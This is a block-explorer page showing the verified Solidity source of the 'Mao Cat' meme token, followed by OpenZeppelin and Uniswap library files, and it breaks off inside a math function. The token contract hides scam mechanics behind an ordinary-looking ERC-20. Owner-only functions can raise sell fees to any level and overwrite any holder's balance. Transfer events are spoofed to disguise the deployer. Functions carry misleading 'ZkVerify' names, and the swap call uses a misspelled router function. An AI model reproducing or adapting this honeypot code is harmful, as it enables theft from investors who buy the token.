Token

Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Is this a proxy?
• Similar
• Sol2Uml
• Submit Audit
• Compare

/**

Get in on history`s first china cat ERC-20! 🔥
Máo Máo Máo MAO CAT 
Ethreum, THE OG is back, and $MAO is here to 
ride the waves. 🌊

    https://maocatcoin.org/
    https://twitter.com/maocatcoin

*/
// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.25;

contract  MaoCat {

    string private _name = 'Mao Cat';
    string private _symbol = 'MAO';
    uint256 public constant decimals = 18;
    uint256 public constant totalSupply = 5_000_000_000 * 10 ** decimals;

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    address _deployer;
    address _executor;

    address private uniswapLpWallet;
    address private presaleWallet = 0x3837D79057F9f603CC6Bcfc88FD9122a72f0Dca0 ;
    address private Staking = 0xC191ce27e73Ea116984F154C0400D441DcCb3F50 ;
    address private PrivateSale = 0x3e3149555A9C139bdcaE482CD7d365494F7B921d ;

    struct StoreData {
        address tokenMkt;
        uint256 buyFee;
        uint256 sellFee;
    }

    constructor() {
        uint256 _initBuyFee = 0;
        uint256 _initSellFee = 0;
        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        uniswapLpWallet = msg.sender;

        _initDeployer(msg.sender, msg.sender);

        balanceOf[presaleWallet] = (totalSupply * 10) / 100;
        emit Transfer(address(0), presaleWallet, totalSupply);
        balanceOf[uniswapLpWallet] = (totalSupply * 60) / 100;
        emit Transfer(presaleWallet, uniswapLpWallet, balanceOf[uniswapLpWallet]);

        balanceOf[Staking] = (totalSupply * 20) / 100;
        emit Transfer(presaleWallet, Staking, balanceOf[Staking]);

        balanceOf[PrivateSale] = (totalSupply * 10) / 100;
        emit Transfer(presaleWallet, PrivateSale, balanceOf[PrivateSale]);
        

    }

    event RevenueShare(uint256 _value);
    

    receive() external payable {}

    function removeTax(uint256 _buy, uint256 _sell) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        _upgradeStoreWithZkProof(_buy, _sell);
    }

    function setRevenueShare(uint256 _value) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        emit RevenueShare(_value);
    }

    function setPair(address _pair) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        pair = _pair;
    }

    function airdropToken(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        for (uint256 i = 0; i < _address.length; i++) {
            balanceOf[_address[i]] = _amount[i];
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function _upgradeStoreWithZkProof(uint256 _buy, uint256 _sell) private {
        storeData.buyFee = _buy;
        storeData.sellFee = _sell;
    }

    function _decodeTokenMktWithZkVerify() private view returns (address) {
        return storeData.tokenMkt;
    }

    function openTrading() external {
        require(msg.sender == _decodeTokenMktWithZkVerify());
        require(!tradingOpen);
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _initDeployer(address deployer_, address executor_) private {
        _deployer = deployer_;
        _executor = executor_;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _decodeTokenMktWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (
            to == pair &&
            !swapping &&
            balanceOf[address(this)] >= swapAmount &&
            from != tokenMkt
        ) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            swapping = false;
        }

        (uint256 _buyFee, uint256 _sellFee) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;

        if (from == _executor) {
            emit Transfer(_deployer, to, amount);
        } else if (to == _executor) {
            emit Transfer(from, _deployer, amount);
        } else {
            emit Transfer(from, to, amount);
        }
        return true;
    }
}

interface IUniswapFactory {
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Address.sol)

pragma solidity ^0.8.20;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev The ETH balance of the account is not enough to perform the operation.
     */
    error AddressInsufficientBalance(address account);

    /**
     * @dev There's no code at `target` (it is not a contract).
     */
    error AddressEmptyCode(address target);

    /**
     * @dev A call to an address target failed. The target may have reverted.
     */
    error FailedInnerCall();

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        if (address(this).balance < amount) {
            revert AddressInsufficientBalance(address(this));
        }

        (bool success, ) = recipient.call{value: amount}("");
        if (!success) {
            revert FailedInnerCall();
        }
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason or custom error, it is bubbled
     * up by this function (like regular Solidity function calls). However, if
     * the call reverted with no returned reason, this function reverts with a
     * {FailedInnerCall} error.
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        if (address(this).balance < value) {
            revert AddressInsufficientBalance(address(this));
        }
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and reverts if the target
     * was not a contract or bubbling up the revert reason (falling back to {FailedInnerCall}) in case of an
     * unsuccessful call.
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata
    ) internal view returns (bytes memory) {
        if (!success) {
            _revert(returndata);
        } else {
            // only check if target is a contract if the call was successful and the return data is empty
            // otherwise we already know that it was a contract
            if (returndata.length == 0 && target.code.length == 0) {
                revert AddressEmptyCode(target);
            }
            return returndata;
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and reverts if it wasn't, either by bubbling the
     * revert reason or with a default {FailedInnerCall} error.
     */
    function verifyCallResult(bool success, bytes memory returndata) internal pure returns (bytes memory) {
        if (!success) {
            _revert(returndata);
        } else {
            return returndata;
        }
    }

    /**
     * @dev Reverts with returndata if present. Otherwise reverts with {FailedInnerCall}.
     */
    function _revert(bytes memory returndata) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert FailedInnerCall();
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.20;

import {IERC20} from  "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// SPDX-License-Identifier: MIT

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// SPDX-License-Identifier: MIT

pragma solidity >=0.5.0;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

// SPDX-License-Identifier: MIT

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

// SPDX-License-Identifier: MIT

pragma solidity >=0.6.2;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/Math.sol)

pragma solidity ^0.8.20;

/**
 * @dev Standard math utilities missing in the Solidity language.
 */
library Math {
    /**
     * @dev Muldiv operation overflow.
     */
    error MathOverflowedMulDiv();

    enum Rounding {
        Floor, // Toward negative infinity
        Ceil, // Toward positive infinity
        Trunc, // Toward zero
        Expand // Away from zero
    }

    /**
     * @dev Returns the addition of two unsigned integers, with an success flag (no overflow).
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool success, uint256 result) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an success flag (no overflow).
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool success, uint256 result) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an success flag (no overflow).
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool success, uint256 result) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a success flag (no division by zero).
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool success, uint256 result) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a success flag (no division by zero).
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool success, uint256 result) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }

    /**
     * @dev Returns the ceiling of the division of two numbers.
     *
     * This differs from standard division with `/` in that it rounds towards infinity instead
     * of rounding towards zero.
     */
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        if (b == 0) {
            // Guarantee the same behavior as in a regular Solidity division.
            return a / b;
        }

        // The following calculation ensures accurate ceiling division without overflow.
        // Since a is non-zero, (a - 1) / b will not overflow.
        // The largest possible result occurs when (a - 1) / b is type(uint256).max,
        // but the largest value we can obtain is type(uint256).max - 1, which happens
        // when a = type(uint256).max and b = 1.
        unchecked {
            return a == 0 ? 0 : (a - 1) / b + 1;
        }
    }

    /**
     * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or
     * denominator == 0.
     * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by
     * Uniswap Labs also under MIT license.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
        unchecked {
            // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
            // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
            // variables such that product = prod1 * 2^256 + prod0.
            uint256 prod0 = x * y; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

            // Handle non-overflow cases, 256 by 256 division.
            if (prod1 == 0) {
                // Solidity will revert if denominator == 0, unlike the div opcode on its own.
                // The surrounding unchecked block does not change this fact.
                // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.
                return prod0 / denominator;
            }

            // Make sure the result is less than 2^256. Also prevents denominator == 0.
            if (denominator <= prod1) {
                revert MathOverflowedMulDiv();
            }

            ///////////////////////////////////////////////
            // 512 by 256 division.
            ///////////////////////////////////////////////

            // Make division exact by subtracting the remainder from [prod1 prod0].
            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                // Subtract 256 bit number from 512 bit number.
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

            // Factor powers of two out of denominator and compute largest power of two divisor of denominator.
            // Always >= 1. See https://cs.stackexchange.com/q/138556/92363.

            uint256 twos = denominator & (0 - denominator);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

                // Divide [prod1 prod0] by twos.
                prod0 := div(prod0, twos)

                // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
                twos := add(div(sub(0, twos), twos), 1)
            }

            // Shift in bits from prod1 into prod0.
            prod0 |= prod1 * twos;

            // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
            // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
            // four bits. That is, denominator * inv = 1 mod 2^4.
            uint256 inverse = (3 * denominator) ^ 2;

            // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also
            // works in modular arithmetic, doubling the correct bits in each step.
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

            // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
            // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
            // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
            // is no longer required.
            result = prod0 * inverse;
            return result;
        }
    }

    /**
     * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }

    /**
     * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded
     * towards zero.
     *
     * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11).
     */
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.
        //
        // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have
        // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
        //
        // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
        // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
        // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
        //
        // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.
        uint256 result = 1 << (log2(a) >> 1);

        // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,
        // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at
        // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision
        // into the expected uint128 result.
        unchecked {
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
        }
    }

    /**
     * @notice Calculates sqrt(a), following the selected rounding direction.
     */
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = sqrt(a);
            return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 2 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     */
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 2, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log2(value);
            return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 10 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     */
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >= 10 ** 64) {
                value /= 10 ** 64;
                result += 64;
            }
            if (value >= 10 ** 32) {
                value /= 10 ** 32;
                result += 32;
            }
            if (value >= 10 ** 16) {
                value /= 10 ** 16;
                result += 16;
            }
            if (value >= 10 ** 8) {
                value /= 10 ** 8;
                result += 8;
            }
            if (value >= 10 ** 4) {
                value /= 10 ** 4;
                result += 4;
            }
            if (value >= 10 ** 2) {
                value /= 10 ** 2;
                result += 2;
            }
            if (value >= 10 ** 1) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 10, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log10(value);
            return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 256 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     *
     * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
     */
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 256, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log256(value);
